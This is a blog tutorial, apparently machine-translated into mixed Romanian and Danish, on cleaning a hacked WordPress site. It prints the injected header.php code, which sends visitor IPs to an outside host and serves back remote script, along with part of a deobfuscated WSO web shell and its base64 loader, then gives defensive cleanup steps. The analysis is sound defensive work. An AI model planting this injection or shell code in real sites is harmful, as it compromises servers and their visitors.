Fjern WordPress PHP -virus

ved

0

Fjern WordPress PHP -virus

Fjern WordPress PHP -virus

0
Fjern WordPress PHP -virus

Acest tutorial prezintă un caz particular în care un blog WordPress a fost virusat. Remove WordPress PHP Virus.

Zilele trecute am observat un cod suspect ce pare a fi un virus PHP pentru WordPress. Următorul cod PHP era prezent în header.php, înaintea liniei </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Acesta este un cod PHP care, după cum arată, încearcă să recupereze conținutul unei resurse de pe un server extern, dar partea care se referă la adresa URL este incompletă.

Arbejdsmekanismen er noget mere kompleks og gør denne WordPress PHP Virus usynlig for besøgende på de berørte websteder. I stedet retter den sig mod søgemaskiner (Google) og fører implicit til et betydeligt fald i antallet af besøgende på de berørte hjemmesider.

Detalii ale malware WordPress PHP Virus

1. Ovenstående kode findes i header.php.

2. En fil dukkede op på serveren wp-log.php i mappen wp-includes.

3. wp-log.php indeholder en krypteret kode, men som er forholdsvis nem at dekryptere.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Dekrypter malware-kode fra wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Dette ser ud til at være et ondsindet PHP-script, der indeholder kode til at håndtere godkendelse og handlinger på filer og mapper på en server. Det kan meget let ses, at dette script indeholder variabler som f.eks $auth_pass (godkendelsesadgangskode), $default_action (acțiunea implicită), $default_use_ajax (folosirea implicită a Ajax) și $default_charset (setarea implicită a caracterelor).

În mod evident, acest script are o secțiune care verifică agenții de utilizatori HTTP pentru a bloca accesul anumitor roboți web, cum ar fi motoarele de căutare. De asemenea, are și o secțiune care verifică modul de securitate PHP și setează anumite directoare de lucru.

4. Dacă wp-log.php este accesat în browser, apare o pagină web cu un câmp de autentificering. La prima vedere pare a fi un file manager prin care pot fi urcate ușor noi fișiere pe serverul țintă.

Cum devirusezi un website WordPress?

Altid involverer den manuelle de-virus-proces først at opdage og forstå, hvad sårbarheden var.

1. Generer en backup for hele hjemmesiden. Dette skal omfatte både filerne og databasen.

2. Bestem cirka, hvor længe siden virussen dukkede op, og søg på webserveren efter ændrede eller nyoprettede filer inden for den omtrentlige tidsramme.

For eksempel hvis du vil se filerne .php oprettet eller ændret i den sidste uge, kør kommandoen på serveren:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Det er en simpel metode, hvormed du kan afdække inficerede WordPress-filer og dem, der indeholder malware-kode.

3. Tjek filen .htaccess af mistænkelige direktiver. Tilladelser eller scriptudførelseslinjer.

4. Tjek databasen. Det er meget muligt, at nogle WordPress-indlæg og -sider er blevet redigeret med malware, eller at der tilføjes nye brugere med administratorrolle.

5. Tjek skrivetilladelserne for mapper og filer. chmod og chown.

Anbefalede tilladelser er: 644 for filer og 755 for mapper.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Opdater alle WordPress Plugins / WordPress Themes.

Relateret: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Det er metoder “grundlæggende” hvorigennem du kan de-virus en WordPress hjemmeside / blog. Hvis du har problemer og har brug for hjælp, er kommentarfeltet åbent.

Fjern WordPress PHP -virus

Du kan også være interesseret i...

Efterlad et svar

Din e-mailadresse vil ikke blive offentliggjort. Krævede felter er markeret *